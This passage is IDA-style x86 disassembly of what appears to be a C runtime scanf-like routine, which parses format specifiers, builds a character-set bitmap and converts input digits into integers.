lea eax, [edi+edi*4]
lea edi, [ebx+eax*2-30h]
jmp loc_423549
; ---------------------------------------------------------------------------
loc_42348A: ; CODE XREF: sub_423327+14Fj
cmp ebx, 4Eh
jg loc_423518
jz loc_423549
cmp ebx, 2Ah
jz short loc_423510
cmp ebx, 46h
jz loc_423549
cmp ebx, 49h
jz short loc_4234BC
cmp ebx, 4Ch
jnz short loc_423527
inc byte ptr [ebp-18Dh]
jmp loc_423549
; ---------------------------------------------------------------------------
loc_4234BC: ; CODE XREF: sub_423327+183j
mov cl, [esi+1]
cmp cl, 36h
jnz short loc_4234E4
lea eax, [esi+2]
cmp byte ptr [eax], 34h
jnz short loc_4234E4
mov esi, eax
inc dword ptr [ebp-1C8h]
and dword ptr [ebp-1ACh], 0
and dword ptr [ebp-1A8h], 0
jmp short loc_423549
; ---------------------------------------------------------------------------
loc_4234E4: ; CODE XREF: sub_423327+19Bj
; sub_423327+1A3j
cmp cl, 33h
jnz short loc_4234F5
lea eax, [esi+2]
cmp byte ptr [eax], 32h
jnz short loc_4234F5
mov esi, eax
jmp short loc_423549
; ---------------------------------------------------------------------------
loc_4234F5: ; CODE XREF: sub_423327+1C0j
; sub_423327+1C8j
cmp cl, 64h
jz short loc_423549
cmp cl, 69h
jz short loc_423549
cmp cl, 6Fh
jz short loc_423549
cmp cl, 78h
jz short loc_423549
cmp cl, 58h
jnz short loc_423527
jmp short loc_423549
; ---------------------------------------------------------------------------
loc_423510: ; CODE XREF: sub_423327+175j
inc byte ptr [ebp-18Eh]
jmp short loc_423549
; ---------------------------------------------------------------------------
loc_423518: ; CODE XREF: sub_423327+166j
cmp ebx, 68h
jz short loc_42353D
cmp ebx, 6Ch
jz short loc_42352F
cmp ebx, 77h
jz short loc_423535
loc_423527: ; CODE XREF: sub_423327+188j
; sub_423327+1E5j
inc byte ptr [ebp-17Dh]
jmp short loc_423549
; ---------------------------------------------------------------------------
loc_42352F: ; CODE XREF: sub_423327+1F9j
inc byte ptr [ebp-18Dh]
loc_423535: ; CODE XREF: sub_423327+1FEj
inc byte ptr [ebp-185h]
jmp short loc_423549
; ---------------------------------------------------------------------------
loc_42353D: ; CODE XREF: sub_423327+1F4j
dec byte ptr [ebp-18Dh]
dec byte ptr [ebp-185h]
loc_423549: ; CODE XREF: sub_423327+15Ej
; sub_423327+16Cj ...
cmp byte ptr [ebp-17Dh], 0
jz loc_42344B
mov [ebp-18Ch], edi
mov [ebp+0Ch], esi
cmp byte ptr [ebp-18Eh], 0
jnz short loc_423582
mov eax, [ebp+10h]
mov [ebp-1DCh], eax
add eax, 4
mov [ebp+10h], eax
mov ebx, [eax-4]
mov [ebp-1B0h], ebx
jmp short loc_423588
; ---------------------------------------------------------------------------
loc_423582: ; CODE XREF: sub_423327+23Fj
mov ebx, [ebp-1B0h]
loc_423588: ; CODE XREF: sub_423327+259j
mov byte ptr [ebp-17Dh], 0
cmp byte ptr [ebp-185h], 0
jnz short loc_4235B0
mov al, [esi]
cmp al, 53h
jz short loc_4235A9
cmp al, 43h
mov byte ptr [ebp-185h], 0FFh
jnz short loc_4235B0
loc_4235A9: ; CODE XREF: sub_423327+275j
mov byte ptr [ebp-185h], 1
loc_4235B0: ; CODE XREF: sub_423327+26Fj
; sub_423327+280j
movzx edi, byte ptr [esi]
or edi, 20h
mov [ebp-1C0h], edi
cmp edi, 6Eh
jz short loc_423605
cmp edi, 63h
jz short loc_4235F1
cmp edi, 7Bh
jz short loc_4235F1
loc_4235CB: ; CODE XREF: sub_423327+2BDj
inc dword ptr [ebp-184h]
mov edx, [ebp+8]
call sub_423311
mov esi, eax
push esi
call sub_420AFE
pop ecx
test eax, eax
jnz short loc_4235CB
mov [ebp-194h], esi
mov esi, [ebp+0Ch]
jmp short loc_423605
; ---------------------------------------------------------------------------
loc_4235F1: ; CODE XREF: sub_423327+29Dj
; sub_423327+2A2j
inc dword ptr [ebp-184h]
mov edx, [ebp+8]
call sub_423311
mov [ebp-194h], eax
loc_423605: ; CODE XREF: sub_423327+298j
; sub_423327+2C8j
mov ecx, [ebp-1B4h]
test ecx, ecx
jz short loc_42361C
cmp dword ptr [ebp-18Ch], 0
jz loc_423948
loc_42361C: ; CODE XREF: sub_423327+2E6j
cmp edi, 6Fh
jg loc_423917
jz loc_423D3A
cmp edi, 63h
jz loc_4238EA
cmp edi, 64h
jz loc_423D3A
jle loc_42393D
cmp edi, 67h
jle short loc_42368C
cmp edi, 69h
jz short loc_42366E
cmp edi, 6Eh
jnz loc_42393D
mov eax, [ebp-184h]
cmp byte ptr [ebp-18Eh], 0
jz loc_424077
jmp loc_4240A3
; ---------------------------------------------------------------------------
loc_42366E: ; CODE XREF: sub_423327+324j
push 64h
pop edi
loc_423671: ; CODE XREF: sub_423327+60Bj
mov ebx, [ebp-194h]
cmp ebx, 2Dh
jnz loc_423BE3
mov byte ptr [ebp-197h], 1
jmp loc_423BE8
; ---------------------------------------------------------------------------
loc_42368C: ; CODE XREF: sub_423327+31Fj
lea esi, [ebp-17Ch]
mov ebx, [ebp-194h]
cmp ebx, 2Dh
jnz short loc_4236AB
mov [ebp-17Ch], bl
lea esi, [ebp-17Bh]
jmp short loc_4236B0
; ---------------------------------------------------------------------------
loc_4236AB: ; CODE XREF: sub_423327+374j
cmp ebx, 2Bh
jnz short loc_4236D0
loc_4236B0: ; CODE XREF: sub_423327+382j
dec dword ptr [ebp-18Ch]
inc dword ptr [ebp-184h]
mov edi, [ebp+8]
mov edx, edi
call sub_423311
mov ebx, eax
mov [ebp-194h], ebx
jmp short loc_4236D3
; ---------------------------------------------------------------------------
loc_4236D0: ; CODE XREF: sub_423327+387j
mov edi, [ebp+8]
loc_4236D3: ; CODE XREF: sub_423327+3A7j
cmp dword ptr [ebp-1B4h], 0
jz short loc_4236E8
cmp dword ptr [ebp-18Ch], 15Dh
jle short loc_4236F2
loc_4236E8: ; CODE XREF: sub_423327+3B3j
mov dword ptr [ebp-18Ch], 15Dh
loc_4236F2: ; CODE XREF: sub_423327+3BFj
; sub_423327+41Ej
cmp ds:dword_4437B0, 1
jle short loc_423707
push 4
push ebx
call sub_422B91
pop ecx
pop ecx
jmp short loc_423713
; ---------------------------------------------------------------------------
loc_423707: ; CODE XREF: sub_423327+3D2j
mov eax, ds:off_4437D8
movzx eax, byte ptr [eax+ebx*2]
and eax, 4
loc_423713: ; CODE XREF: sub_423327+3DEj
test eax, eax
jz short loc_423747
mov eax, [ebp-18Ch]
dec dword ptr [ebp-18Ch]
test eax, eax
jz short loc_423747
inc dword ptr [ebp-19Ch]
mov [esi], bl
inc esi
inc dword ptr [ebp-184h]
mov edx, edi
call sub_423311
mov ebx, eax
mov [ebp-194h], ebx
jmp short loc_4236F2
; ---------------------------------------------------------------------------
loc_423747: ; CODE XREF: sub_423327+3EEj
; sub_423327+3FEj
cmp ds:byte_4437B4, bl
jnz short loc_4237CB
mov eax, [ebp-18Ch]
dec dword ptr [ebp-18Ch]
test eax, eax
jz short loc_4237CB
inc dword ptr [ebp-184h]
mov edx, edi
call sub_423311
mov ebx, eax
mov al, ds:byte_4437B4
mov [esi], al
inc esi
loc_423776: ; CODE XREF: sub_423327+4A2j
mov [ebp-194h], ebx
cmp ds:dword_4437B0, 1
jle short loc_423791
push 4
push ebx
call sub_422B91
pop ecx
pop ecx
jmp short loc_42379D
; ---------------------------------------------------------------------------
loc_423791: ; CODE XREF: sub_423327+45Cj
mov eax, ds:off_4437D8
movzx eax, byte ptr [eax+ebx*2]
and eax, 4
loc_42379D: ; CODE XREF: sub_423327+468j
test eax, eax
jz short loc_4237CB
mov eax, [ebp-18Ch]
dec dword ptr [ebp-18Ch]
test eax, eax
jz short loc_4237CB
inc dword ptr [ebp-19Ch]
mov [esi], bl
inc esi
inc dword ptr [ebp-184h]
mov edx, edi
call sub_423311
mov ebx, eax
jmp short loc_423776
; ---------------------------------------------------------------------------
loc_4237CB: ; CODE XREF: sub_423327+426j
; sub_423327+436j ...
cmp dword ptr [ebp-19Ch], 0
jz loc_42388F
cmp ebx, 65h
jz short loc_4237E6
cmp ebx, 45h
jnz loc_42388F
loc_4237E6: ; CODE XREF: sub_423327+4B4j
mov eax, [ebp-18Ch]
dec dword ptr [ebp-18Ch]
test eax, eax
jz loc_42388F
mov byte ptr [esi], 65h
inc esi
inc dword ptr [ebp-184h]
mov edx, edi
call sub_423311
mov ebx, eax
mov [ebp-194h], ebx
cmp ebx, 2Dh
jnz short loc_42381D
mov [esi], al
inc esi
jmp short loc_423822
; ---------------------------------------------------------------------------
loc_42381D: ; CODE XREF: sub_423327+4EFj
cmp ebx, 2Bh
jnz short loc_42384F
loc_423822: ; CODE XREF: sub_423327+4F4j
mov eax, [ebp-18Ch]
dec dword ptr [ebp-18Ch]
test eax, eax
jnz short loc_42383A
and [ebp-18Ch], eax
jmp short loc_42384F
; ---------------------------------------------------------------------------
loc_42383A: ; CODE XREF: sub_423327+509j
; sub_423327+566j
mov edx, edi
inc dword ptr [ebp-184h]
call sub_423311
mov ebx, eax
mov [ebp-194h], ebx
loc_42384F: ; CODE XREF: sub_423327+4F9j
; sub_423327+511j
cmp ds:dword_4437B0, 1
jle short loc_423864
push 4
push ebx
call sub_422B91
pop ecx
pop ecx
jmp short loc_423870
; ---------------------------------------------------------------------------
loc_423864: ; CODE XREF: sub_423327+52Fj
mov eax, ds:off_4437D8
movzx eax, byte ptr [eax+ebx*2]
and eax, 4
loc_423870: ; CODE XREF: sub_423327+53Bj
test eax, eax
jz short loc_42388F
mov eax, [ebp-18Ch]
dec dword ptr [ebp-18Ch]
test eax, eax
jz short loc_42388F
inc dword ptr [ebp-19Ch]
mov [esi], bl
inc esi
jmp short loc_42383A
; ---------------------------------------------------------------------------
loc_42388F: ; CODE XREF: sub_423327+4ABj
; sub_423327+4B9j ...
dec dword ptr [ebp-184h]
cmp ebx, 0FFFFFFFFh
jz short loc_4238A3
push edi
push ebx
call sub_427140
pop ecx
pop ecx
loc_4238A3: ; CODE XREF: sub_423327+571j
cmp dword ptr [ebp-19Ch], 0
jz loc_424147
cmp byte ptr [ebp-18Eh], 0
jnz loc_4240A3
inc dword ptr [ebp-1B8h]
mov byte ptr [esi], 0
lea eax, [ebp-17Ch]
push eax
push dword ptr [ebp-1B0h]
movsx eax, byte ptr [ebp-18Dh]
dec eax
push eax
call ds:off_443A58
add esp, 0Ch
jmp loc_4240A3
; ---------------------------------------------------------------------------
loc_4238EA: ; CODE XREF: sub_423327+307j
test ecx, ecx
jnz short loc_4238FE
mov dword ptr [ebp-1B4h], 1
inc dword ptr [ebp-18Ch]
loc_4238FE: ; CODE XREF: sub_423327+5C5j
; sub_423327+5FEj
cmp byte ptr [ebp-185h], 0
jle loc_423AC5
mov byte ptr [ebp-196h], 1
jmp loc_423AC5
; ---------------------------------------------------------------------------
loc_423917: ; CODE XREF: sub_423327+2F8j
mov eax, edi
sub eax, 70h
jz loc_423D33
sub eax, 3
jz short loc_4238FE
dec eax
dec eax
jz loc_423D3A
sub eax, 3
jz loc_423671
sub eax, 3
jz short loc_423975
loc_42393D: ; CODE XREF: sub_423327+316j
; sub_423327+329j
movzx eax, byte ptr [esi]
cmp eax, [ebp-194h]
jz short loc_423954
loc_423948: ; CODE XREF: sub_423327+2EFj
cmp dword ptr [ebp-194h], 0FFFFFFFFh
jmp loc_42410E
; ---------------------------------------------------------------------------
loc_423954: ; CODE XREF: sub_423327+61Fj
dec byte ptr [ebp-195h]
cmp byte ptr [ebp-18Eh], 0
jnz loc_4240A3
mov eax, [ebp-1DCh]
mov [ebp+10h], eax
jmp loc_4240A3
; ---------------------------------------------------------------------------
loc_423975: ; CODE XREF: sub_423327+614j
cmp byte ptr [ebp-185h], 0
jle short loc_423985
mov byte ptr [ebp-196h], 1
loc_423985: ; CODE XREF: sub_423327+655j
mov edi, [ebp+0Ch]
inc edi
mov [ebp+0Ch], edi
mov [ebp-1D0h], edi
cmp byte ptr [edi], 5Eh
jnz short loc_4239A5
inc edi
mov [ebp-1D0h], edi
mov byte ptr [ebp-1A1h], 0FFh
loc_4239A5: ; CODE XREF: sub_423327+66Ej
mov ebx, [ebp-1BCh]
test ebx, ebx
jnz short loc_423A0C
and [ebp-4], ebx
push 20h
pop eax
call sub_41EA20
mov [ebp-18h], esp
mov ebx, esp
mov [ebp-1BCh], ebx
or dword ptr [ebp-4], 0FFFFFFFFh
jmp short loc_423A0C
; ---------------------------------------------------------------------------
a3@Lessi db '3À@Ëeèè› ',0
dw 6A00h
dd 0ABF5E820h, 8959FFFFh, 0FFFE4485h, 75C085FFh, 0FC4D8309h
dd 755E9FFh, 85C70000h, 0FFFFFE28h, 1, 0FFFC4D83h, 0FE30BD8Bh
dd 9D8BFFFFh, 0FFFFFE44h
; ---------------------------------------------------------------------------
loc_423A0C: ; CODE XREF: sub_423327+686j
; sub_423327+6A2j
push 20h
push 0
push ebx
call sub_41E5F0
add esp, 0Ch
cmp dword ptr [ebp-1C0h], 7Bh
jnz short loc_423A99
cmp byte ptr [edi], 5Dh
jnz short loc_423A99
mov dl, 5Dh
inc edi
mov byte ptr [ebx+0Bh], 20h
jmp short loc_423A9F
; ---------------------------------------------------------------------------
loc_423A30: ; CODE XREF: sub_423327+77Cj
inc edi
cmp al, 2Dh
jnz short loc_423A80
test dl, dl
jz short loc_423A80
mov cl, [edi]
cmp cl, 5Dh
jz short loc_423A80
inc edi
cmp dl, cl
jnb short loc_423A49
mov al, cl
jmp short loc_423A4D
; ---------------------------------------------------------------------------
loc_423A49: ; CODE XREF: sub_423327+71Cj
mov al, dl
mov dl, cl
loc_423A4D: ; CODE XREF: sub_423327+720j
cmp dl, al
ja short loc_423A7C
movzx esi, dl
sub al, dl
inc al
movzx eax, al
mov [ebp-1D4h], eax
loc_423A61: ; CODE XREF: sub_423327+753j
mov eax, esi
shr eax, 3
add eax, ebx
mov ecx, esi
and ecx, 7
mov dl, 1
shl dl, cl
or [eax], dl
inc esi
dec dword ptr [ebp-1D4h]
jnz short loc_423A61
loc_423A7C: ; CODE XREF: sub_423327+728j
xor dl, dl
jmp short loc_423A9F
; ---------------------------------------------------------------------------
loc_423A80: ; CODE XREF: sub_423327+70Cj
; sub_423327+710j ...
mov [ebp-198h], al
movzx ecx, al
mov eax, ecx
shr eax, 3
add eax, ebx
and ecx, 7
mov dl, 1
shl dl, cl
or [eax], dl
loc_423A99: ; CODE XREF: sub_423327+6F9j
; sub_423327+6FEj
mov dl, [ebp-198h]
loc_423A9F: ; CODE XREF: sub_423327+707j
; sub_423327+757j
mov al, [edi]
cmp al, 5Dh
jnz short loc_423A30
test al, al
jz loc_424147
mov ebx, [ebp-1B0h]
cmp dword ptr [ebp-1C0h], 7Bh
jnz short loc_423ABF
mov [ebp+0Ch], edi
loc_423ABF: ; CODE XREF: sub_423327+793j
mov edi, [ebp-1C0h]
loc_423AC5: ; CODE XREF: sub_423327+5DEj
; sub_423327+5EBj
mov esi, ebx
dec dword ptr [ebp-184h]
cmp dword ptr [ebp-194h], 0FFFFFFFFh
jz short loc_423AE6
push dword ptr [ebp+8]
push dword ptr [ebp-194h]
call sub_427140
pop ecx
pop ecx
loc_423AE6: ; CODE XREF: sub_423327+7ADj
; sub_423327+9A3j ...
cmp dword ptr [ebp-1B4h], 0
jz short loc_423B03
mov eax, [ebp-18Ch]
dec dword ptr [ebp-18Ch]
test eax, eax
jz loc_423CEB
loc_423B03: ; CODE XREF: sub_423327+7C6j
inc dword ptr [ebp-184h]
mov edx, [ebp+8]
call sub_423311
mov [ebp-194h], eax
cmp eax, 0FFFFFFFFh
jz loc_423CD5
cmp edi, 63h
jz short loc_423B72
cmp edi, 73h
jnz short loc_423B39
cmp eax, 9
jl short loc_423B34
cmp eax, 0Dh
jle short loc_423B39
loc_423B34: ; CODE XREF: sub_423327+806j
cmp eax, 20h
jnz short loc_423B72
loc_423B39: ; CODE XREF: sub_423327+801j
; sub_423327+80Bj
cmp edi, 7Bh
jnz loc_423CD5
mov ecx, eax
and ecx, 7
xor edx, edx
inc edx
shl edx, cl
mov ecx, eax
sar ecx, 3
mov edi, [ebp-1BCh]
movsx ecx, byte ptr [ecx+edi]
movsx edi, byte ptr [ebp-1A1h]
xor ecx, edi
test edx, ecx
jz loc_423CD5
mov edi, [ebp-1C0h]
loc_423B72: ; CODE XREF: sub_423327+7FCj
; sub_423327+810j
cmp byte ptr [ebp-18Eh], 0
jnz loc_423CCF
cmp byte ptr [ebp-196h], 0
jz loc_423CC1
mov [ebp-1C4h], al
movzx eax, al
mov ecx, ds:off_4437D8
test byte ptr [ecx+eax*2+1], 80h
jz short loc_423BB6
inc dword ptr [ebp-184h]
mov edx, [ebp+8]
call sub_423311
mov [ebp-1C3h], al
loc_423BB6: ; CODE XREF: sub_423327+879j
push ds:dword_4437B0
lea eax, [ebp-1C4h]
push eax
lea eax, [ebp-1CCh]
push eax
call sub_4271AC
add esp, 0Ch
mov ax, [ebp-1CCh]
mov [ebx], ax
inc ebx
inc ebx
jmp loc_423CC4
; ---------------------------------------------------------------------------
loc_423BE3: ; CODE XREF: sub_423327+353j
cmp ebx, 2Bh
jnz short loc_423C13
loc_423BE8: ; CODE XREF: sub_423327+360j
dec dword ptr [ebp-18Ch]
jnz short loc_423BFD
test ecx, ecx
jz short loc_423BFD
mov byte ptr [ebp-17Dh], 1
jmp short loc_423C13
; ---------------------------------------------------------------------------
loc_423BFD: ; CODE XREF: sub_423327+8C7j
; sub_423327+8CBj
inc dword ptr [ebp-184h]
mov edx, [ebp+8]
call sub_423311
mov ebx, eax
mov [ebp-194h], ebx
loc_423C13: ; CODE XREF: sub_423327+8BFj
; sub_423327+8D4j
cmp ebx, 30h
jnz loc_423D7E
inc dword ptr [ebp-184h]
mov edx, [ebp+8]
call sub_423311
mov ebx, eax
mov [ebp-194h], ebx
cmp bl, 78h
jz short loc_423C88
cmp bl, 58h
jz short loc_423C88
mov dword ptr [ebp-19Ch], 1
cmp edi, 78h
jz short loc_423C6A
cmp dword ptr [ebp-1B4h], 0
jz short loc_423C62
dec dword ptr [ebp-18Ch]
jnz short loc_423C62
inc byte ptr [ebp-17Dh]
loc_423C62: ; CODE XREF: sub_423327+92Bj
; sub_423327+933j
push 6Fh
loc_423C64: ; CODE XREF: sub_423327+998j
pop edi
jmp loc_423D7E
; ---------------------------------------------------------------------------
loc_423C6A: ; CODE XREF: sub_423327+922j
dec dword ptr [ebp-184h]
cmp ebx, 0FFFFFFFFh
jz short loc_423C80
push dword ptr [ebp+8]
push ebx
call sub_427140
pop ecx
pop ecx
loc_423C80: ; CODE XREF: sub_423327+94Cj
push 30h
pop ebx
jmp loc_423D78
; ---------------------------------------------------------------------------
loc_423C88: ; CODE XREF: sub_423327+90Ej
; sub_423327+913j
inc dword ptr [ebp-184h]
mov edx, [ebp+8]
call sub_423311
mov ebx, eax
mov [ebp-194h], ebx
cmp dword ptr [ebp-1B4h], 0
jz short loc_423CBD
sub dword ptr [ebp-18Ch], 2
cmp dword ptr [ebp-18Ch], 1
jge short loc_423CBD
inc byte ptr [ebp-17Dh]
loc_423CBD: ; CODE XREF: sub_423327+97Ej
; sub_423327+98Ej
push 78h
jmp short loc_423C64
; ---------------------------------------------------------------------------
loc_423CC1: ; CODE XREF: sub_423327+85Fj
mov [ebx], al
inc ebx
loc_423CC4: ; CODE XREF: sub_423327+8B7j
mov [ebp-1B0h], ebx
jmp loc_423AE6
; ---------------------------------------------------------------------------
loc_423CCF: ; CODE XREF: sub_423327+852j
inc esi
jmp loc_423AE6
; ---------------------------------------------------------------------------
loc_423CD5: ; CODE XREF: sub_423327+7F3j
; sub_423327+815j ...
dec dword ptr [ebp-184h]
cmp eax, 0FFFFFFFFh
jz short loc_423CEB
push dword ptr [ebp+8]
push eax
call sub_427140
pop ecx
pop ecx
loc_423CEB: ; CODE XREF: sub_423327+7D6j
; sub_423327+9B7j
cmp esi, ebx
jz loc_424147
cmp byte ptr [ebp-18Eh], 0
jnz loc_4240A3
inc dword ptr [ebp-1B8h]
cmp dword ptr [ebp-1C0h], 63h
jz loc_4240A3
mov eax, [ebp-1B0h]
cmp byte ptr [ebp-196h], 0
jz short loc_423D2B
and word ptr [eax], 0
jmp loc_4240A3
; ---------------------------------------------------------------------------
loc_423D2B: ; CODE XREF: sub_423327+9F9j
mov byte ptr [eax], 0
jmp loc_4240A3
; ---------------------------------------------------------------------------
loc_423D33: ; CODE XREF: sub_423327+5F5j
mov byte ptr [ebp-18Dh], 1
loc_423D3A: ; CODE XREF: sub_423327+2FEj
; sub_423327+310j ...
mov ebx, [ebp-194h]
cmp ebx, 2Dh
jnz short loc_423D4E
mov byte ptr [ebp-197h], 1
jmp short loc_423D53
; ---------------------------------------------------------------------------
loc_423D4E: ; CODE XREF: sub_423327+A1Cj
cmp ebx, 2Bh
jnz short loc_423D7E
loc_423D53: ; CODE XREF: sub_423327+A25j
dec dword ptr [ebp-18Ch]
jnz short loc_423D68
test ecx, ecx
jz short loc_423D68
mov byte ptr [ebp-17Dh], 1
jmp short loc_423D7E
; ---------------------------------------------------------------------------
loc_423D68: ; CODE XREF: sub_423327+A32j
; sub_423327+A36j
inc dword ptr [ebp-184h]
mov edx, [ebp+8]
call sub_423311
mov ebx, eax
loc_423D78: ; CODE XREF: sub_423327+95Cj
mov [ebp-194h], ebx
loc_423D7E: ; CODE XREF: sub_423327+8EFj
; sub_423327+93Ej ...
cmp dword ptr [ebp-1C8h], 0
jz loc_423F1E
cmp byte ptr [ebp-17Dh], 0
jnz loc_423EED
mov esi, 80h
loc_423D9D: ; CODE XREF: sub_423327+BBAj
cmp edi, 78h
jz loc_423E26
cmp edi, 70h
jz short loc_423E26
cmp ds:dword_4437B0, 1
jle short loc_423DC0
push 4
push ebx
call sub_422B91
pop ecx
pop ecx
jmp short loc_423DCC
; ---------------------------------------------------------------------------
loc_423DC0: ; CODE XREF: sub_423327+A8Bj
mov eax, ds:off_4437D8
movzx eax, byte ptr [eax+ebx*2]
and eax, 4
loc_423DCC: ; CODE XREF: sub_423327+A97j
test eax, eax
jz loc_423E73
cmp edi, 6Fh
jnz short loc_423E03
cmp ebx, 38h
jge loc_423E73
mov eax, [ebp-1ACh]
mov ecx, [ebp-1A8h]
shld ecx, eax, 3
shl eax, 3
mov [ebp-1ACh], eax
mov [ebp-1A8h], ecx
jmp short loc_423E79
; ---------------------------------------------------------------------------
loc_423E03: ; CODE XREF: sub_423327+AB0j
push 0
push 0Ah
push dword ptr [ebp-1A8h]
push dword ptr [ebp-1ACh]
call sub_420750
mov [ebp-1ACh], eax
mov [ebp-1A8h], edx
jmp short loc_423E79
; ---------------------------------------------------------------------------
loc_423E26: ; CODE XREF: sub_423327+A79j
; sub_423327+A82j
cmp ds:dword_4437B0, 1
jle short loc_423E3A
push esi
push ebx
call sub_422B91
pop ecx
pop ecx
jmp short loc_423E45
; ---------------------------------------------------------------------------
loc_423E3A: ; CODE XREF: sub_423327+B06j
mov eax, ds:off_4437D8
movzx eax, byte ptr [eax+ebx*2]
and eax, esi
loc_423E45: ; CODE XREF: sub_423327+B11j
test eax, eax
jz short loc_423E73
mov eax, [ebp-1ACh]
mov ecx, [ebp-1A8h]
shld ecx, eax, 4
shl eax, 4
mov [ebp-1ACh], eax
mov [ebp-1A8h], ecx
mov eax, ebx
call sub_4232DF
mov ebx, eax
jmp short loc_423E79
; ---------------------------------------------------------------------------
loc_423E73: ; CODE XREF: sub_423327+AA7j
; sub_423327+AB5j ...
inc byte ptr [ebp-17Dh]
loc_423E79: ; CODE XREF: sub_423327+ADAj
; sub_423327+AFDj ...
cmp byte ptr [ebp-17Dh], 0
jnz short loc_423EC4
inc dword ptr [ebp-19Ch]
lea eax, [ebx-30h]
cdq
add [ebp-1ACh], eax
adc [ebp-1A8h], edx
cmp dword ptr [ebp-1B4h], 0
jz short loc_423EB2
dec dword ptr [ebp-18Ch]
jnz short loc_423EB2
mov byte ptr [ebp-17Dh], 1
jmp short loc_423EDA
; ---------------------------------------------------------------------------
loc_423EB2: ; CODE XREF: sub_423327+B78j
; sub_423327+B80j
inc dword ptr [ebp-184h]
mov edx, [ebp+8]
call sub_423311
mov ebx, eax
jmp short loc_423EDA
; ---------------------------------------------------------------------------
loc_423EC4: ; CODE XREF: sub_423327+B59j
dec dword ptr [ebp-184h]
cmp ebx, 0FFFFFFFFh
jz short loc_423EDA
push dword ptr [ebp+8]
push ebx
call sub_427140
pop ecx
pop ecx
loc_423EDA: ; CODE XREF: sub_423327+B89j
; sub_423327+B9Bj ...
cmp byte ptr [ebp-17Dh], 0
jz loc_423D9D
mov [ebp-194h], ebx
loc_423EED: ; CODE XREF: sub_423327+A6Bj
cmp byte ptr [ebp-197h], 0
jz loc_424043
mov eax, [ebp-1ACh]
neg eax
mov ecx, [ebp-1A8h]
adc ecx, 0
neg ecx
mov [ebp-1ACh], eax
mov [ebp-1A8h], ecx
jmp loc_424043
; ---------------------------------------------------------------------------
loc_423F1E: ; CODE XREF: sub_423327+A5Ej
cmp byte ptr [ebp-17Dh], 0
jnz loc_424034
mov esi, 80h
loc_423F30: ; CODE XREF: sub_423327+D01j
cmp edi, 78h
jz short loc_423F85
cmp edi, 70h
jz short loc_423F85
cmp ds:dword_4437B0, 1
jle short loc_423F4F
push 4
push ebx
call sub_422B91
pop ecx
pop ecx
jmp short loc_423F5B
; ---------------------------------------------------------------------------
loc_423F4F: ; CODE XREF: sub_423327+C1Aj
mov eax, ds:off_4437D8
movzx eax, byte ptr [eax+ebx*2]
and eax, 4
loc_423F5B: ; CODE XREF: sub_423327+C26j
test eax, eax
jz short loc_423FBA
cmp edi, 6Fh
jnz short loc_423F72
cmp ebx, 38h
jge short loc_423FBA
shl dword ptr [ebp-1A0h], 3
jmp short loc_423FC0
; ---------------------------------------------------------------------------
loc_423F72: ; CODE XREF: sub_423327+C3Bj
mov eax, [ebp-1A0h]
lea eax, [eax+eax*4]
shl eax, 1
mov [ebp-1A0h], eax
jmp short loc_423FC0
; ---------------------------------------------------------------------------
loc_423F85: ; CODE XREF: sub_423327+C0Cj
; sub_423327+C11j
cmp ds:dword_4437B0, 1
jle short loc_423F99
push esi
push ebx
call sub_422B91
pop ecx
pop ecx
jmp short loc_423FA4
; ---------------------------------------------------------------------------
loc_423F99: ; CODE XREF: sub_423327+C65j
mov eax, ds:off_4437D8
movzx eax, byte ptr [eax+ebx*2]
and eax, esi
loc_423FA4: ; CODE XREF: sub_423327+C70j
test eax, eax
jz short loc_423FBA
shl dword ptr [ebp-1A0h], 4
mov eax, ebx
call sub_4232DF
mov ebx, eax
jmp short loc_423FC0
; ---------------------------------------------------------------------------
loc_423FBA: ; CODE XREF: sub_423327+C36j
; sub_423327+C40j ...
inc byte ptr [ebp-17Dh]
loc_423FC0: ; CODE XREF: sub_423327+C49j
; sub_423327+C5Cj ...
cmp byte ptr [ebp-17Dh], 0
jnz short loc_42400B
inc dword ptr [ebp-19Ch]
mov eax, [ebp-1A0h]
lea eax, [eax+ebx-30h]
mov [ebp-1A0h], eax
cmp dword ptr [ebp-1B4h], 0
jz short loc_423FF9
dec dword ptr [ebp-18Ch]
jnz short loc_423FF9
mov byte ptr [ebp-17Dh], 1
jmp short loc_424021
; ---------------------------------------------------------------------------
loc_423FF9: ; CODE XREF: sub_423327+CBFj
; sub_423327+CC7j
inc dword ptr [ebp-184h]
mov edx, [ebp+8]
call sub_423311
mov ebx, eax
jmp short loc_424021
; ---------------------------------------------------------------------------
loc_42400B: ; CODE XREF: sub_423327+CA0j
dec dword ptr [ebp-184h]
cmp ebx, 0FFFFFFFFh
jz short loc_424021
push dword ptr [ebp+8]
push ebx
call sub_427140
pop ecx
pop ecx
loc_424021: ; CODE XREF: sub_423327+CD0j
; sub_423327+CE2j ...
cmp byte ptr [ebp-17Dh], 0
jz loc_423F30
mov [ebp-194h], ebx
loc_424034: ; CODE XREF: sub_423327+BFEj
cmp byte ptr [ebp-197h], 0
jz short loc_424043
neg dword ptr [ebp-1A0h]
loc_424043: ; CODE XREF: sub_423327+BCDj
; sub_423327+BF2j ...
cmp edi, 46h
jnz short loc_42404F
and dword ptr [ebp-19Ch], 0
loc_42404F: ; CODE XREF: sub_423327+D1Fj
cmp dword ptr [ebp-19Ch], 0
jz loc_424147
cmp byte ptr [ebp-18Eh], 0
jnz short loc_4240A3
inc dword ptr [ebp-1B8h]
mov ebx, [ebp-1B0h]
mov eax, [ebp-1A0h]
loc_424077: ; CODE XREF: sub_423327+33Cj
cmp dword ptr [ebp-1C8h], 0
jz short loc_424093
mov eax, [ebp-1ACh]
mov [ebx], eax
mov eax, [ebp-1A8h]
mov [ebx+4], eax
jmp short loc_4240A3
; ---------------------------------------------------------------------------
loc_424093: ; CODE XREF: sub_423327+D57j
cmp byte ptr [ebp-18Dh], 0
jz short loc_4240A0
mov [ebx], eax
jmp short loc_4240A3
; ---------------------------------------------------------------------------
loc_4240A0: ; CODE XREF: sub_423327+D73j
mov [ebx], ax
loc_4240A3: ; CODE XREF: sub_423327+342j
; sub_423327+590j ...
inc byte ptr [ebp-195h]
inc dword ptr [ebp+0Ch]
mov esi, [ebp+0Ch]
jmp short loc_424128
; ---------------------------------------------------------------------------
loc_4240B1: ; CODE XREF: sub_423327+C8j
inc dword ptr [ebp-184h]
mov edx, [ebp+8]
call sub_423311
mov ebx, eax
mov [ebp-194h], ebx
movzx eax, byte ptr [esi]
inc esi
mov [ebp+0Ch], esi
cmp eax, ebx
jnz short loc_42410B
movzx eax, bl
mov ecx, ds:off_4437D8
test byte ptr [ecx+eax*2+1], 80h
jz short loc_424128
inc dword ptr [ebp-184h]
mov edx, [ebp+8]
call sub_423311
movzx ecx, byte ptr [esi]
inc esi
mov [ebp+0Ch], esi
cmp ecx, eax
jz short loc_424122
